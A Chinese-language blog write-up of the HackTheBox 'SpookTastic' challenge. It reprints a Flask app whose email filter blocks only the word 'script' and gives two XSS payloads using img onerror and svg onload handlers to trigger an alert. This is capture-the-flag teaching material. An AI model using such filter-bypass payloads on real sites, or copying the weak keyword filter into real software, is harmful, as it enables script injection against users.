HackTheBox-Challenges SpookTastic Writeup

kazma 成大資安社 創辦人/社長

Exploitation

我們直接來看主程式:

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import random, string
from flask import Flask, request, render_template, abort
from flask_socketio import SocketIO
from threading import Thread

app = Flask(__name__)

socketio = SocketIO(app)

registered_emails, socket_clients = [], {}

generate = lambda x: "".join([random.choice(string.hexdigits) for _ in range(x)])
BOT_TOKEN = generate(16)

def blacklist_pass(email):
email = email.lower()

if "script" in email:
return False

return True


def send_flag(user_ip):
for id, ip in socket_clients.items():
if ip == user_ip:
socketio.emit("flag", {"flag": open("flag.txt").read()}, room=id)


def start_bot(user_ip):
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

host, port = "localhost", 1337
HOST = f"http://{host}:{port}"

options = Options()

options.add_argument("--headless")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument("--disable-infobars")
options.add_argument("--disable-background-networking")
options.add_argument("--disable-default-apps")
options.add_argument("--disable-extensions")
options.add_argument("--disable-gpu")
options.add_argument("--disable-sync")
options.add_argument("--disable-translate")
options.add_argument("--hide-scrollbars")
options.add_argument("--metrics-recording-only")
options.add_argument("--mute-audio")
options.add_argument("--no-first-run")
options.add_argument("--dns-prefetch-disable")
options.add_argument("--safebrowsing-disable-auto-update")
options.add_argument("--media-cache-size=1")
options.add_argument("--disk-cache-size=1")
options.add_argument("--user-agent=HTB/1.0")

service = Service(executable_path="/usr/bin/chromedriver")
browser = webdriver.Chrome(service=service, options=options)

try:
browser.get(f"{HOST}/bot?token={BOT_TOKEN}")

WebDriverWait(browser, 3).until(EC.alert_is_present())

alert = browser.switch_to.alert
alert.accept()
send_flag(user_ip)
except Exception as e:
pass
finally:
registered_emails.clear()
browser.quit()


@app.route("/")
def index():
return render_template("index.html")


@app.route("/api/register", methods=["POST"])
def register():
if not request.is_json or not request.json["email"]:
return abort(400)

if not blacklist_pass(request.json["email"]):
return abort(401)

registered_emails.append(request.json["email"])
Thread(target=start_bot, args=(request.remote_addr,)).start()
return {"success":True}


@app.route("/bot")
def bot():
if request.args.get("token", "") != BOT_TOKEN:
return abort(404)
return render_template("bot.html", emails=registered_emails)


@socketio.on("connect")
def on_connect():
socket_clients[request.sid] = request.remote_addr


@socketio.on("disconnect")
def on_disconnect():
del socket_clients[request.sid]


if __name__ == "__main__":
app.run(host="0.0.0.0", port=1337, debug=False)

我們可以看到他讓我們註冊信箱,然後會檢查 email 有沒有包含 script 關鍵字,如果我們成功繞過 script 觸發 alert 就會 sendFlag,所以目標就是不含 script 的 XSS。
以下放上一些 payload 供參考:

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<img src="invalid.jpg" onerror="alert('XSS')">
<svg onload="alert('XSS')"></svg>

Pwned !!!

pwn

  • Title: HackTheBox-Challenges SpookTastic Writeup
  • Author: kazma
  • Created at : 2024-11-02 13:39:19
  • Updated at : 2024-11-02 14:18:11
  • Link: https://kazma.tw/2024/11/02/HackTheBox-Challenges-SpookTastic-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
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HackTheBox-Challenges SpookTastic Writeup